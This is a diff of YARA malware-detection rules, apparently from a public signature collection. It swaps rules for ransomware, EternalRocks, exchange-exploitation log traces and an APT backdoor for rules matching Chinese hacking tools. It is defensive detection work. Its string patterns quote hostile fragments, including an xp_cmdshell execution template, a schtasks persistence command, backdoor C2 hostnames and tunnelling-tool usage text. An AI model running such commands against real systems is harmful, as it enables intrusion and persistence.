-		logic_hash = "73e4a88b749e3b2654e9021290932d2e556c29cfa772785b23bebad9f3a3f90a"
-		score = 65
+		id = "af92d01d-5e24-52f7-934a-0ad102fc7a93"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1256-L1271"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
+		logic_hash = "e37504aab506138493ddc0979697502819824ef00c7931599130fafb5d84a7a9"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "\\Release\\Dustman.pdb" ascii
-		$x2 = "/c agent.exe A" fullword ascii
-		$s1 = "C:\\windows\\system32\\cmd.exe" fullword ascii
-		$s2 = "The Magic Word!" fullword ascii
-		$s3 = "Software\\Oracle\\VirtualBox" fullword wide
-		$s4 = "\\assistant.sys" wide
-		$s5 = "Down With Bin Salman" fullword wide
-		$sc1 = { 00 5C 00 5C 00 2E 00 5C 00 25 00 73 }
-		$op1 = { 49 81 c6 ff ff ff 7f 4c 89 b4 24 98 }
+		$s1 = "AJunk.dll" fullword ascii
+		$s2 = "AJunk.DLL" fullword wide
+		$s3 = "AJunk Dynamic Link Library" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=3000KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <560KB and all of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Lorenz_May21_1 : FILE
+rule SIGNATURE_BASE_Iisputscanner : FILE
 {
 	meta:
-		description = "Detects Lorenz Ransomware samples"
+		description = "Chinese Hacktool Set - file IISPutScanner.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0b18a4a3-82da-574b-8d10-daf2176448b9"
-		date = "2021-05-04"
+		id = "699ee45d-c842-56eb-b55b-12a91e815a7b"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research - DACH TE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_lorenz.yar#L1-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aec940deb2c3bc099a50a2e8f014ae425d306d331078d9ac2abc2ec7b8bf572e"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1273-L1316"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
+		logic_hash = "b2af9003cef528610280866bf00a9716b4421a5f7c65e7c8ec3202af9a592de1"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		hash1 = "4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999"
-		hash2 = "8258c53a44012f6911281a6331c3ecbd834b6698b7d2dbf4b1828540793340d1"
-		hash3 = "c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "process call create \"cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON " ascii fullword
-		$x2 = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCn7fL/1qsWkJkUtXKZIJNqYfnVByVhK" ascii fullword
-		$s1 = "process call create \"cmd.exe /c schtasks /Create /F " ascii fullword
-		$s2 = "twr.ini" ascii fullword
-		$s3 = "/c wmic /node:'" ascii fullword
-		$op1 = { 0f 4f d9 81 ff dc 0f 00 00 5f 8d 4b 0? 0f 4e cb 83 fe 3c 5e 5b }
-		$op2 = { 6a 02 e8 ?? ?? 0? 00 83 c4 18 83 f8 01 75 01 cc 6a 00 68 ?? ?? 00 00 }
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "ADVAPI32.DLL" fullword ascii
+		$s4 = "VERSION.DLL" fullword ascii
+		$s5 = "WSOCK32.DLL" fullword ascii
+		$s6 = "COMCTL32.DLL" fullword ascii
+		$s7 = "GDI32.DLL" fullword ascii
+		$s8 = "SHELL32.DLL" fullword ascii
+		$s9 = "USER32.DLL" fullword ascii
+		$s10 = "OLEAUT32.DLL" fullword ascii
+		$s11 = "LoadLibraryA" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "VirtualProtect" fullword ascii
+		$s14 = "VirtualAlloc" fullword ascii
+		$s15 = "VirtualFree" fullword ascii
+		$s16 = "ExitProcess" fullword ascii
+		$s17 = "RegCloseKey" fullword ascii
+		$s18 = "GetFileVersionInfoA" fullword ascii
+		$s19 = "ImageList_Add" fullword ascii
+		$s20 = "BitBlt" fullword ascii
+		$s21 = "ShellExecuteA" fullword ascii
+		$s22 = "ActivateKeyboardLayout" fullword ascii
+		$s23 = "BBABORT" fullword wide
+		$s25 = "BBCANCEL" fullword wide
+		$s26 = "BBCLOSE" fullword wide
+		$s27 = "BBHELP" fullword wide
+		$s28 = "BBIGNORE" fullword wide
+		$s29 = "PREVIEWGLYPH" fullword wide
+		$s30 = "DLGTEMPLATE" fullword wide
+		$s31 = "TABOUTBOX" fullword wide
+		$s32 = "TFORM1" fullword wide
+		$s33 = "MAINICON" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and (1 of ($x*) or all of ($op*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <500KB and filesize >350KB and all of them
 }
-rule SIGNATURE_BASE_Eternalrocks_Taskhost : FILE
+rule SIGNATURE_BASE_Idtools_For_Winxp_Idttool_2 : FILE
 {
 	meta:
-		description = "Detects EternalRocks Malware - file taskhost.exe"
+		description = "Chinese Hacktool Set - file IdtTool.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8926cdf8-6a3c-5237-80f5-bda9efb39a32"
-		date = "2017-05-18"
+		id = "0312be49-c262-5143-abfc-02d428552b86"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/stamparm/status/864865144748298242"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_eternalrocks.yar#L12-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45e5295f34280078c586c4cb643dba65aed63beffb1d6ded05de03403caf273a"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1318-L1335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
+		logic_hash = "831f42abd7374b2ca2b4115a73aae2123e2212b0854d4cc0950b8e66a28e38a3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30"
 
 	strings:
-		$x1 = "EternalRocks.exe" fullword wide
-		$s1 = "sTargetIP" fullword ascii
-		$s2 = "SERVER_2008R2_SP0" fullword ascii
-		$s3 = "20D5CCEE9C91A1E61F72F46FA117B93FB006DB51" fullword ascii
-		$s4 = "9EBF75119B8FC7733F77B06378F9E735D34664F6" fullword ascii
+		$s0 = "\\Device\\devIdtTool" wide
+		$s1 = "IoDeleteSymbolicLink" fullword ascii
+		$s3 = "IoDeleteDevice" fullword ascii
+		$s6 = "IoCreateSymbolicLink" fullword ascii
+		$s7 = "IoCreateDevice" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and 1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <7KB and all of them
 }
-rule SIGNATURE_BASE_Eternalrocks_Svchost : FILE
+rule SIGNATURE_BASE_Hkmjjiis6 : FILE
 {
 	meta:
-		description = "Detects EternalRocks Malware - file taskhost.exe"
+		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c38d3faa-06a2-5f57-a917-91974941352f"
-		date = "2017-05-18"
+		id = "9618c6ec-1557-5b1b-bebc-1c220bb3aba4"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/stamparm/status/864865144748298242"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_eternalrocks.yar#L32-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "989df6d582949adbc4e0e2063c99d9ad83c367cedae1030dc23aade091216602"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1337-L1358"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+		logic_hash = "4ea95b7a5bd24e0dfdcef045d101b7f15e18b20f1328901bb340d9aaad336981"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "589af04a85dc66ec6b94123142a17cf194decd61f5d79e76183db026010e0d31"
 
 	strings:
-		$s1 = "WczTkaJphruMyBOQmGuNRtSNTLEs" fullword ascii
-		$s2 = "svchost.taskhost.exe" fullword ascii
-		$s3 = "ConfuserEx v" ascii
+		$s1 = "comspec" fullword ascii
+		$s2 = "user32.dlly" ascii
+		$s3 = "runtime error" ascii
+		$s4 = "WinSta0\\Defau" ascii
+		$s5 = "AppIDFlags" fullword ascii
+		$s6 = "GetLag" fullword ascii
+		$s7 = "* FROM IIsWebInfo" ascii
+		$s8 = "wmiprvse.exe" ascii
+		$s9 = "LookupAcc" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <70KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_1 : CVE_2022_41040 CVE_2022_41082
+rule SIGNATURE_BASE_Dos_Lcx : FILE
 {
 	meta:
-		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+		description = "Chinese Hacktool Set - file lcx.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a61f6582-474f-5b6f-b8f5-329c0bcc4017"
-		date = "2022-12-22"
+		id = "2f443673-bfed-5ce3-a0e6-6b59f27c9658"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxynotshell_owassrf_dec22.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e8f5a3440f8b4b1850fddbd19f63796ad0f28178c678e9f464b7e4ab5ca944f"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1360-L1384"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
+		logic_hash = "bbe215fb27825b4f4bbfa71808ac945f341efbc70a21f79689065982a843d7f1"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-41040, CVE-2022-41082"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "/owa/mastermailbox%40outlook.com/powershell" ascii wide
-		$sa1 = " 200 " ascii wide
-		$sa2 = " POST " ascii wide
-		$fp1 = "ClientInfo" ascii wide fullword
-		$fp2 = "Microsoft WinRM Client" ascii wide fullword
-		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
+		$s0 = "c:\\Users\\careful_snow\\" ascii
+		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s7 = "[-] There is a error...Create a new connection." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii
 
 	condition:
-		all of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_2 : CVE_2022_41040 CVE_2022_41082
+rule SIGNATURE_BASE_X_Way2_5_X_Way : FILE
 {
 	meta:
-		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+		description = "Chinese Hacktool Set - file X-way.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "85722997-fd28-51cf-817e-7a314e284b0b"
-		date = "2022-12-22"
+		id = "8e878671-2a7c-5c6e-a905-05d303f42e0f"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxynotshell_owassrf_dec22.yar#L24-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73ce86b7a673719c916666fa06963b774edad5b2cd804994614afd83ea75ecef"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1386-L1407"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
+		logic_hash = "6261de5db1e7527f7726effe26ed5f88638e6cb378db4c99183dddcd42ae231f"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-41040, CVE-2022-41082"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sr1 = / \/owa\/[^\/\s]{1,30}(%40|@)[^\/\s\.]{1,30}\.[^\/\s]{2,3}\/powershell / ascii wide
-		$sa1 = " 200 " ascii wide
-		$sa2 = " POST " ascii wide
-		$fp1 = "ClientInfo" ascii wide fullword
-		$fp2 = "Microsoft WinRM Client" ascii wide fullword
-		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
+		$s0 = "TTFTPSERVERFRM" fullword wide
+		$s1 = "TPORTSCANSETFRM" fullword wide
+		$s2 = "TIISSHELLFRM" fullword wide
+		$s3 = "TADVSCANSETFRM" fullword wide
+		$s4 = "ntwdblib.dll" fullword ascii
+		$s5 = "TSNIFFERFRM" fullword wide
+		$s6 = "TCRACKSETFRM" fullword wide
+		$s7 = "TCRACKFRM" fullword wide
+		$s8 = "dbnextrow" fullword ascii
 
 	condition:
-		all of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <1000KB and 5 of them
 }
-rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_3 : CVE_2022_41040 CVE_2022_41082
+rule SIGNATURE_BASE_Tools_Sqlcmd : FILE
 {
 	meta:
-		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+		description = "Chinese Hacktool Set - file Sqlcmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "76dd786e-daaa-5cd9-8e3e-50d9eab7f9d2"
-		date = "2022-12-22"
+		id = "26e29826-d4bb-55d0-9331-a91e4473daca"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxynotshell_owassrf_dec22.yar#L47-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "607d3743a46e0c5000b9c7847dd89f5d7ccf29f4f1af9bce6870d7738f071f5c"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1409-L1428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "99d56476e539750c599f76391d717c51c4955a33"
+		logic_hash = "aa600f7c56d72d767e9ca51d8b1ee2b2c62302ea1afbed39e4670debd30c5247"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-41040, CVE-2022-41082"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = " POST /powershell - 444 " ascii wide
-		$sa2 = " POST /Powershell - 444 " ascii wide
-		$sb1 = " - 200 0 0 2" ascii wide
-		$fp1 = "ClientInfo" ascii wide fullword
-		$fp2 = "Microsoft WinRM Client" ascii wide fullword
-		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
+		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
+		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii
+		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
+		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
+		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
+		$s10 = "Error,exit!" fullword ascii
+		$s11 = "Sqlcmd>" fullword ascii
 
 	condition:
-		1 of ($sa*) and $sb1 and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <40KB and 3 of them
 }
-rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_Powershell_Proxy_Log_Dec22_1 : CVE_2022_41040 CVE_2022_41082
+rule SIGNATURE_BASE_Sword1_5 : FILE
 {
 	meta:
-		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+		description = "Chinese Hacktool Set - file Sword1.5.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5af3ae70-8897-593f-a413-82ca1d1ba961"
-		date = "2022-12-22"
-		modified = "2023-01-26"
-		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxynotshell_owassrf_dec22.yar#L68-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2aac61bc17f74901ec8d638d5cfaaa45bbd2a4e40e5d915bf2a946daed411d2"
-		score = 70
+		id = "dff8666a-0373-5605-9012-92b2b3ec71ea"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1430-L1449"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+		logic_hash = "09e09f7ea16dc917388cbccb22a7abfed9b693a33d61698f0e838f029402c256"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-41040, CVE-2022-41082"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$re1 = /,\/[Pp][Oo][Ww][Ee][Rr][Ss][Hh][Ee][Ll][Ll][^\n]{0,50},Kerberos,true,[^\n]{0,50},200,0,,,,[^\n]{0,2000};OnEndRequest\.End\.ContentType=application\/soap\+xml charset UTF-8;S:ServiceCommonMetadata\.HttpMethod=POST;/ ascii wide
-		$fp1 = "ClientInfo" ascii wide fullword
-		$fp2 = "Microsoft WinRM Client" ascii wide fullword
-		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
+		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
+		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s6 = "ListBox_Command" fullword wide
+		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
+		$s18 = "\\Set.ini" wide
+		$s19 = "OpenFileDialog1" fullword wide
+		$s20 = " (*.txt)|*.txt" fullword wide
 
 	condition:
-		$re1 and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <400KB and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_ENV_Folder_Root_File_Jan23_1 : SCRIPT FILE
+rule SIGNATURE_BASE_Tools_Scan : FILE
 {
 	meta:
-		description = "Detects suspicious file path pointing to the root of a folder easily accessible via environment variables"
+		description = "Chinese Hacktool Set - file scan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6067d822-5c1b-5b86-863c-fdcfa37da665"
-		date = "2023-01-11"
+		id = "4601d4d0-2b7e-5937-87b6-df80ab373752"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_indicators.yar#L3-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5355ae567e6255e22f566bae9fe50f4995bafba07c261461d37d5b8ba200d33a"
-		score = 70
-		quality = 83
-		tags = "SCRIPT, FILE"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1451-L1466"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
+		logic_hash = "d8bf2e4a4634f74ce548a5824090502f2ccef382bdbcaf795df711e88a325912"
+		score = 75
+		quality = 81
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1 = /%([Aa]pp[Dd]ata|APPDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
-		$xr2 = /%([Pp]ublic|PUBLIC)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
-		$xr4 = /%([Pp]rogram[Dd]ata|PROGRAMDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
-		$fp1 = "perl -MCPAN " ascii
-		$fp2 = "CCleaner" ascii
+		$s2 = "Shanlu Studio" fullword wide
+		$s3 = "_AutoAttackMain" fullword ascii
+		$s4 = "_frmIpToAddr" fullword ascii
 
 	condition:
-		filesize <20MB and 1 of ($x*) and not 1 of ($fp*) and not pe.number_of_signatures>0
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Backdoor_Naikon_APT_Sample1 : FILE
+rule SIGNATURE_BASE_Dos_C : FILE
 {
 	meta:
-		description = "Detects backdoors related to the Naikon APT"
+		description = "Chinese Hacktool Set - file c.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ba79285b-7c7f-5b19-837e-6696e50a2866"
-		date = "2015-05-14"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/7vHyvh"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_naikon.yar#L2-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
-		hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
-		logic_hash = "e582fc3518dab2392a79909b5369c48656b6f280b915fad4befb0839ec7ce1bd"
+		id = "2e8319de-fe54-5083-968c-4707d127f072"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1468-L1487"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
+		logic_hash = "2865b50e6a323462fab39bd84571939c618cf6f00e147039f6e699ba4d195a00"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
-		$x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
-		$x2 = "greensky27.vicp.net" fullword ascii
-		$x3 = "\\tempvxd.vxd.dll" wide
-		$x5 = "otna.vicp.net" fullword ascii
-		$s1 = "User-Agent: webclient" fullword ascii
-		$s2 = "\\User.ini" ascii
-		$s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
-		$s4 = "\\UserProfile.dll" wide
-		$s5 = "Connection:Keep-Alive: %d" fullword ascii
-		$s6 = "Referer: http://%s:%d/" ascii
-		$s7 = "%s %s %s %d %d %d " fullword ascii
-		$s8 = "%s--%s" fullword wide
-		$s9 = "Run File Success!" fullword wide
-		$s10 = "DRIVE_REMOTE" fullword wide
-		$s11 = "ProxyEnable" fullword wide
-		$s12 = "\\cmd.exe" wide
+		$s0 = "!Win32 .EXE." fullword ascii
+		$s1 = ".MPRESS1" fullword ascii
+		$s2 = ".MPRESS2" fullword ascii
+		$s3 = "XOLEHLP.dll" fullword ascii
+		$s4 = "</body></html>" fullword ascii
+		$s8 = "DtcGetTransactionManagerExA" fullword ascii
+		$s9 = "GetUserNameA" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 7 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_Exchange_Proxyshell_Failed_Aug21_1 : SCRIPT
+rule SIGNATURE_BASE_Arpsniffer : FILE
 {
 	meta:
-		description = "Detects ProxyShell exploitation attempts in log files"
+		description = "Chinese Hacktool Set - file arpsniffer.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b849042-8918-5322-a35a-2165d4b541d5"
-		date = "2021-08-08"
-		modified = "2021-08-09"
-		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "690e74633ac8671727fe47f6398e536c1b7a4ac469d27d3f7507c75e175716bd"
-		score = 50
